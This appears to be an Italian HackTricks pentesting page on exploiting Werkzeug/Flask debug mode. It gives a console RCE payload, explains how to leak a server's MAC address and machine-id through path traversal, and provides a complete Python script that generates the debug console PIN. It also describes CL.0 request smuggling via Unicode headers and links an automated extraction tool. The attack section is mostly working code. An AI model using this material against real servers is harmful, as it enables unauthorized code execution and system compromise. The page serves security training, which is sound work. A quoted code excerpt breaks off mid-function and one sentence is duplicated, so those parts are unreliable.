Werkzeug / Flask Debug
Reading time: 6 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Console RCE
Se il debug è attivo, potresti provare ad accedere a /console
e ottenere RCE.
__import__('os').popen('whoami').read();
Ci sono anche diversi exploit su internet come questo o uno in metasploit.
Pin Protetto - Traversata del Percorso
In alcune occasioni, l'endpoint /console
sarà protetto da un pin. Se hai una vulnerabilità di traversata del file, puoi leakare tutte le informazioni necessarie per generare quel pin.
Exploit del PIN della Console Werkzeug
Forza una pagina di errore di debug nell'app per vedere questo:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Un messaggio riguardante lo scenario "console bloccata" viene visualizzato quando si tenta di accedere all'interfaccia di debug di Werkzeug, indicando la necessità di un PIN per sbloccare la console. Si suggerisce di sfruttare il PIN della console analizzando l'algoritmo di generazione del PIN nel file di inizializzazione del debug di Werkzeug (__init__.py
). Il meccanismo di generazione del PIN può essere studiato dal Werkzeug source code repository, anche se si consiglia di procurarsi il codice del server effettivo tramite una vulnerabilità di traversamento di file a causa di potenziali discrepanze di versione.
Per sfruttare il PIN della console, sono necessari due set di variabili, probably_public_bits
e private_bits
:
probably_public_bits
username
: Si riferisce all'utente che ha avviato la sessione Flask.modname
: Di solito designato comeflask.app
.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Si risolve generalmente in Flask.getattr(mod, '__file__', None)
: Rappresenta il percorso completo aapp.py
all'interno della directory Flask (ad esempio,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Seapp.py
non è applicabile, provareapp.pyc
.
private_bits
-
uuid.getnode()
: Recupera l'indirizzo MAC della macchina corrente, constr(uuid.getnode())
che lo traduce in un formato decimale. -
Per determinare l'indirizzo MAC del server, è necessario identificare l'interfaccia di rete attiva utilizzata dall'app (ad esempio,
ens3
). In caso di incertezze, leak/proc/net/arp
per trovare l'ID del dispositivo, quindi estrarre l'indirizzo MAC da/sys/class/net/<device id>/address
. -
La conversione di un indirizzo MAC esadecimale in decimale può essere eseguita come mostrato di seguito:
# Esempio di indirizzo MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
: Concatenando i dati da/etc/machine-id
o/proc/sys/kernel/random/boot_id
con la prima riga di/proc/self/cgroup
dopo l'ultima barra (/
).
Codice per `get_machine_id()`
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
Dopo aver raccolto tutti i dati necessari, lo script di exploit può essere eseguito per generare il PIN della console Werkzeug:
Dopo aver raccolto tutti i dati necessari, lo script di exploit può essere eseguito per generare il PIN della console Werkzeug. Lo script utilizza i probably_public_bits
e private_bits
assemblati per creare un hash, che poi subisce ulteriori elaborazioni per produrre il PIN finale. Di seguito è riportato il codice Python per eseguire questo processo:
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Questo script produce il PIN hashando i bit concatenati, aggiungendo sali specifici (cookiesalt
e pinsalt
), e formattando l'output. È importante notare che i valori effettivi per probably_public_bits
e private_bits
devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console Werkzeug.
tip
Se sei su una vecchia versione di Werkzeug, prova a cambiare l'algoritmo di hashing in md5 invece di sha1.
Caratteri Unicode di Werkzeug
Come osservato in questo problema, Werkzeug non chiude una richiesta con caratteri Unicode negli header. E come spiegato in questo writeup, questo potrebbe causare una vulnerabilità di CL.0 Request Smuggling.
Questo perché, in Werkzeug è possibile inviare alcuni caratteri Unicode e questo farà rompere il server. Tuttavia, se la connessione HTTP è stata creata con l'header Connection: keep-alive
, il corpo della richiesta non verrà letto e la connessione rimarrà aperta, quindi il corpo della richiesta sarà trattato come la prossima richiesta HTTP.
Sfruttamento Automatizzato
{{#ref}} https://github.com/Ruulian/wconsole_extractor {{#endref}}
Riferimenti
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.